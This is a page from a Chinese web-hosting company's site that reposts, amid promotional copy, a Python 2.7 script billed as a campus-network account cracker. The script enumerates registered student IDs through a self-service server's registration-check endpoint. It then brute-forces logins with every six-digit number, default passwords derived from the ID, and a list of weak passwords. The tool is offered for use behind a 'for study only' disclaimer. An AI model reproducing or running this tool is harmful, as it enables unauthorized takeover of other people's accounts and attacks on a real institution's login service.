環(huán)境:Python 2.7

創(chuàng)新互聯(lián)公司是一家網(wǎng)站設(shè)計(jì)公司,集創(chuàng)意、互聯(lián)網(wǎng)應(yīng)用、軟件技術(shù)為一體的創(chuàng)意網(wǎng)站建設(shè)服務(wù)商,主營產(chǎn)品:
成都響應(yīng)式網(wǎng)站建設(shè)、
成都品牌網(wǎng)站建設(shè)、
網(wǎng)絡(luò)營銷推廣。我們專注企業(yè)品牌在網(wǎng)站中的整體樹立,網(wǎng)絡(luò)互動(dòng)的體驗(yàn),以及在手機(jī)等移動(dòng)端的優(yōu)質(zhì)呈現(xiàn)。成都網(wǎng)站設(shè)計(jì)、
成都做網(wǎng)站、移動(dòng)互聯(lián)產(chǎn)品、網(wǎng)絡(luò)運(yùn)營、VI設(shè)計(jì)、云產(chǎn)品.運(yùn)維為核心業(yè)務(wù)。為用戶提供一站式解決方案,我們深知市場的競爭激烈,認(rèn)真對(duì)待每位客戶,為客戶提供賞析悅目的作品,網(wǎng)站的價(jià)值服務(wù)。#!/usr/bin/env python
#coding=utf8
print "+"*50
print u"功能:簡單破解校園網(wǎng)賬號(hào)"
print u"微信公眾號(hào):電腦趣事"
print u"僅供學(xué)習(xí)交流使用,嚴(yán)禁違法犯罪,否則后果自負(fù)"
print "+"*50
import httplib
import urllib
import re
username=[]
httpClient = None
If_password =[000000,123456,123123,456456,789789,110110,110120,111111,222222,333333,444444,555555,666666,777777,888888,999999,5201314]
def Determine():
nj = int(raw_input("please select a class 15,16,17:").strip())
start =int(raw_input("please input start(Prompt:1234):").strip())
end = int(raw_input("please input end(Prompt:5678):").strip())
if (end <=start or (nj != 15 and nj != 16 and nj!=17)):
print u"輸入有誤,請(qǐng)重新選擇"
print '='*50
menu()
exit()
else:
print "please wait a moment "
#構(gòu)造學(xué)號(hào)
for i in range(start,end):
for j in range(0,100):
key_numer = int(str(nj)+str(i).zfill(4)+str(j).zfill(3))
try:
params = urllib.urlencode({'key': key_numer})
headers = {"Content-type": "application/x-www-form-urlencoded","Accept": "text/plain"}
httpClient = httplib.HTTPConnection("10.54.100.1", 8080, timeout=30)
httpClient.request("POST", "/selfservice/module/userself/web/userself_reg_ajax.jsf?methodName=regUserinfoBean.checkUser", params, headers)
response = httpClient.getresponse()
right_or_wrong = response.read()
#正則和判斷
zhengze = re.findall( r'false',right_or_wrong , re.M|re.I)
if len(zhengze) == 1:
username.append(key_numer)
except Exception, e:
print e
finally:
if httpClient:
httpClient.close()
print "."*50
print u"在這個(gè)范圍內(nèi)已開通的賬號(hào)有:"
print ""
print username
print "."*50
return username
def Connect(UserName,PassWord):
global a
try:
params = urllib.urlencode({'name': UserName,'password':PassWord})
headers = {"Content-type": "application/x-www-form-urlencoded","Accept": "text/plain"}
httpClient = httplib.HTTPConnection("10.54.100.1", 8080, timeout=30)
httpClient.request("POST", "/selfservice/module/scgroup/web/login_judge.jsf", params, headers)
response = httpClient.getresponse()
right_or_wrong = response.read()
pipei = re.findall(r'errorMsg', right_or_wrong, re.M|re.I)
if len(pipei)==1:
a = 0 #判斷是否爆破出來的標(biāo)記
pass
else:
print u"賬號(hào):%s\000\000密碼:%s"%(UserName,PassWord)
a = 1
except Exception, e:
print e
finally:
if httpClient:
httpClient.close()
return a
def yanzheng():
UserName = str(raw_input("please select a username input:").strip())
for i in range(0,1000000):
PassWord = str(i).zfill(6)
Connect(UserName,PassWord)
if a == 1:
break
else:
pass
def Default_password_single():
UserName = str(raw_input("please select a username input:").strip())
PassWord = UserName[3:10]
Connect(UserName,PassWord)
if a ==0:
PassWord = '123456'
Connect(UserName,PassWord)
if a==0:
print u"已經(jīng)查找完成"
def Default_password_not_single():
print "please wait a moment"
for i in range(0,len(username)):
UserName = str(username[i])
PassWord = UserName[3:10]
Connect(UserName,PassWord)
if a ==0:
PassWord = '123456'
Connect(UserName,PassWord)
if (i==len(username)-1 and a == 0):
print u"已經(jīng)查找完成"
def if_password():
print "please wait a moment"
for i in range(0,len(username)):
UserName = str(username[i])
for j in range(0,len(If_password)):
PassWord = If_password[j]
Connect(UserName,PassWord)
if (i==len(username)-1 and j==len(If_password)-1 and a == 0):
print u"已經(jīng)查找完畢"
def menu():
print u"歡迎大家關(guān)注微信公眾號(hào):“電腦趣事”,請(qǐng)選擇菜單"
while True:
print "*"*50
print u"\t(1) 查看已經(jīng)注冊的賬號(hào)"
print u"\t(2) 簡單的爆破"
print u"\t(3) 默認(rèn)密碼單個(gè)查詢"
print u"\t(4) 默認(rèn)密碼批量查詢"
print u"\t(5) 弱口令爆破"
print "*"*50
choices = raw_input("Please choices:").strip()
if len(choices) == 0:
continue
if choices == '1':
Determine()
elif choices == '2':
yanzheng()
elif choices == '3':
Default_password_single()
elif choices == '4':
Default_password_not_single()
elif choices == '5':
if_password()
else:
print u"請(qǐng)注意賬號(hào)安全!"
exit()
if __name__ == '__main__':
menu()
微信公眾號(hào)

另外有需要云服務(wù)器可以了解下創(chuàng)新互聯(lián)cdcxhl.cn,海內(nèi)外云服務(wù)器15元起步,三天無理由+7*72小時(shí)售后在線,公司持有idc許可證,提供“云服務(wù)器、裸金屬服務(wù)器、高防服務(wù)器、香港服務(wù)器、美國服務(wù)器、虛擬主機(jī)、免備案服務(wù)器”等云主機(jī)租用服務(wù)以及企業(yè)上云的綜合解決方案,具有“安全穩(wěn)定、簡單易用、服務(wù)可用性高、性價(jià)比高”等特點(diǎn)與優(yōu)勢,專為企業(yè)上云打造定制,能夠滿足用戶豐富、多元化的應(yīng)用場景需求。
網(wǎng)站題目:校園網(wǎng)密碼破解程序-創(chuàng)新互聯(lián)
文章出自:
http://weahome.cn/article/dpdjjo.html